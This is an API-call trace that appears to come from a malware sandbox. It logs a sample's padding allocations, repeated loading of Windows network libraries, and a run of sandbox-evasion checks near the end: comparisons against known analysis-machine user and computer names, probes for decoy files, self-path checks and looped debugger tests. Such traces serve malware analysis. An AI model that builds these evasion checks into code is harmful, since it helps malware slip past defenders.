[0062.081] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.081] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.081] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.081] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.081] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.081] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.081] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.082] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.082] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.082] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.082] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.082] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.082] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.082] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.082] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.082] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.082] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.082] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.082] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.082] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.082] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.082] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.082] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.082] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.083] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.083] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.083] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.083] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.083] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.083] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.083] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.083] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.083] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.083] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.083] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.083] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.083] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.083] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.083] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.083] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.083] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.084] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.084] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.084] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.084] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.084] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.084] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.084] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.084] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.084] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.084] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.084] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.084] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.084] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.084] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.084] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.084] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.084] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.085] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.085] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.085] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.085] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.085] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.085] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.085] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.085] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.085] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.085] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.085] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.085] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.086] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.086] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.086] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.086] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.086] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.086] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.086] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.086] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.086] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.086] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.086] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.086] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.086] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.086] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.086] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.086] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.086] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.087] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.087] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.087] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.087] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.087] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.087] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.087] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.087] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.087] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.087] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.087] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.087] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.087] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.087] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.087] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.087] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.087] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.088] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.088] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.088] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.088] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.088] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.088] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.088] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.088] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.088] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.088] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.088] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.088] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.088] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.088] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.088] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.088] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.088] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.088] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.089] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.089] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.089] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.089] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.089] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.089] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.089] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.089] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.089] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.089] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.089] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.089] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.089] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.089] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.089] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.089] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.089] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.090] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.090] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.090] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.090] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.090] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.090] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.090] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.090] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.090] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.090] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.090] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.090] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.090] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.090] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.090] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.090] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.090] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.091] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.091] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.091] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.091] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.091] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.091] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.091] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.091] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.091] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.091] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.091] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.091] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.091] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.091] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.091] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.091] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.091] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.092] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.092] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.092] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.092] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.092] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.092] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.092] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.092] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.092] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.092] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.092] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.092] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.092] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.092] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.092] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.092] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.092] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.093] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.093] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.093] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.093] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.276] LoadLibraryA (lpLibFileName="winhttp.dll") returned 0x6f600000
[0062.286] LoadLibraryA (lpLibFileName="urlmon.dll") returned 0x75ce0000
[0062.312] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x771e0000
[0062.313] LoadLibraryA (lpLibFileName="winhttp.dll") returned 0x6f600000
[0062.313] LoadLibraryA (lpLibFileName="urlmon.dll") returned 0x75ce0000
[0062.313] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x771e0000
[0062.313] LoadLibraryA (lpLibFileName="winhttp.dll") returned 0x6f600000
[0062.313] LoadLibraryA (lpLibFileName="urlmon.dll") returned 0x75ce0000
[0062.313] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x771e0000
[0062.480] LoadLibraryA (lpLibFileName="winhttp.dll") returned 0x6f600000
[0062.480] LoadLibraryA (lpLibFileName="urlmon.dll") returned 0x75ce0000
[0062.480] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x771e0000
[0062.481] LoadLibraryA (lpLibFileName="winhttp.dll") returned 0x6f600000
[0062.481] LoadLibraryA (lpLibFileName="urlmon.dll") returned 0x75ce0000
[0062.481] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x771e0000
[0062.481] LoadLibraryA (lpLibFileName="winhttp.dll") returned 0x6f600000
[0062.481] LoadLibraryA (lpLibFileName="urlmon.dll") returned 0x75ce0000
[0062.481] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x771e0000
[0062.481] GetUserNameA (in: lpBuffer=0x12fc9c, pcbBuffer=0x12fa98 | out: lpBuffer="ATVeyDl98Z", pcbBuffer=0x12fa98) returned 1
[0062.485] GetComputerNameA (in: lpBuffer=0x12fb9c, nSize=0x12fa98 | out: lpBuffer="ZJEWV7F", nSize=0x12fa98) returned 1
[0062.485] GetComputerNameExA (in: NameType=0x1, lpBuffer=0x12fa9c, nSize=0x12fa98 | out: lpBuffer="ZjEwV7f", nSize=0x12fa98) returned 1
[0062.485] lstrcmpA (lpString1="ZJEWV7F", lpString2="TEQUILABOOMBOOM") returned 1
[0062.488] lstrcmpA (lpString1="ATVeyDl98Z", lpString2="Wilbert") returned -1
[0062.488] lstrcmpA (lpString1="ATVeyDl98Z", lpString2="admin") returned 1
[0062.488] lstrcmpA (lpString1="ATVeyDl98Z", lpString2="admin") returned 1
[0062.488] lstrcmpA (lpString1="ATVeyDl98Z", lpString2="John Doe") returned -1
[0062.488] lstrcmpA (lpString1="ATVeyDl98Z", lpString2="John") returned -1
[0062.489] CreateFileA (lpFileName="C:\\email.doc" (normalized: "c:\\email.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
[0062.489] CloseHandle (hObject=0xffffffff) returned 0
[0062.489] CreateFileA (lpFileName="C:\\a\\foobar.bmp" (normalized: "c:\\a\\foobar.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
[0062.489] CloseHandle (hObject=0xffffffff) returned 0
[0062.489] GetModuleHandleA (lpModuleName=0x0) returned 0x400000
[0062.489] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x12fcb0, nSize=0x103 | out: lpFilename="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\microsoft\\windows\\viewcom.exe")) returned 0x3f
[0062.489] StrStrIA (lpFirst="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe", lpSrch="sample") returned 0x0
[0062.489] StrStrIA (lpFirst="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe", lpSrch="mlwr_smpl") returned 0x0
[0062.489] StrStrIA (lpFirst="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe", lpSrch="artifact.exe") returned 0x0
[0062.489] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.490] IsDebuggerPresent () returned 0
[0062.491] IsDebuggerPresent () returned 0
[0062.491] IsDebuggerPresent () returned 0
[0062.491] IsDebuggerPresent () returned 0
[0062.491] IsDebuggerPresent () returned 0
[0062.491] IsDebuggerPresent () returned 0
[0062.492] IsDebuggerPresent () returned 0
[0062.492] IsDebuggerPresent () returned 0
[0062.492] IsDebuggerPresent () returned 0
[0062.492] IsDebuggerPresent () returned 0
[0062.492] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.492] IsDebuggerPresent () returned 0
[0062.492] IsDebuggerPresent () returned 0
[0062.492] IsDebuggerPresent () returned 0
[0062.492] IsDebuggerPresent () returned 0
[0062.492] IsDebuggerPresent () returned 0
[0062.492] IsDebuggerPresent () returned 0
[0062.492] IsDebuggerPresent () returned 0
[0062.492] IsDebuggerPresent () returned 0
[0062.492] IsDebuggerPresent () returned 0
[0062.492] IsDebuggerPresent () returned 0
[0062.492] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.492] IsDebuggerPresent () returned 0
[0062.492] IsDebuggerPresent () returned 0
[0062.492] IsDebuggerPresent () returned 0
[0062.492] IsDebuggerPresent () returned 0
[0062.492] IsDebuggerPresent () returned 0
[0062.493] IsDebuggerPresent () returned 0
[0062.493] IsDebuggerPresent () returned 0
[0062.493] IsDebuggerPresent () returned 0
[0062.493] IsDebuggerPresent () returned 0
[0062.493] IsDebuggerPresent () returned 0
[0062.493] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0062.493] IsDebuggerPresent () returned 0
[0062.493] IsDebuggerPresent () returned 0
[0062.493] IsDebuggerPresent () returned 0
[0062.493] IsDebuggerPresent () returned 0
[0062.493] IsDebuggerPresent () returned 0
[0062.493] IsDebuggerPresent () returned 0
[0062.493] IsDebuggerPresent () returned 0
[0062.493] IsDebuggerPresent () returned 0
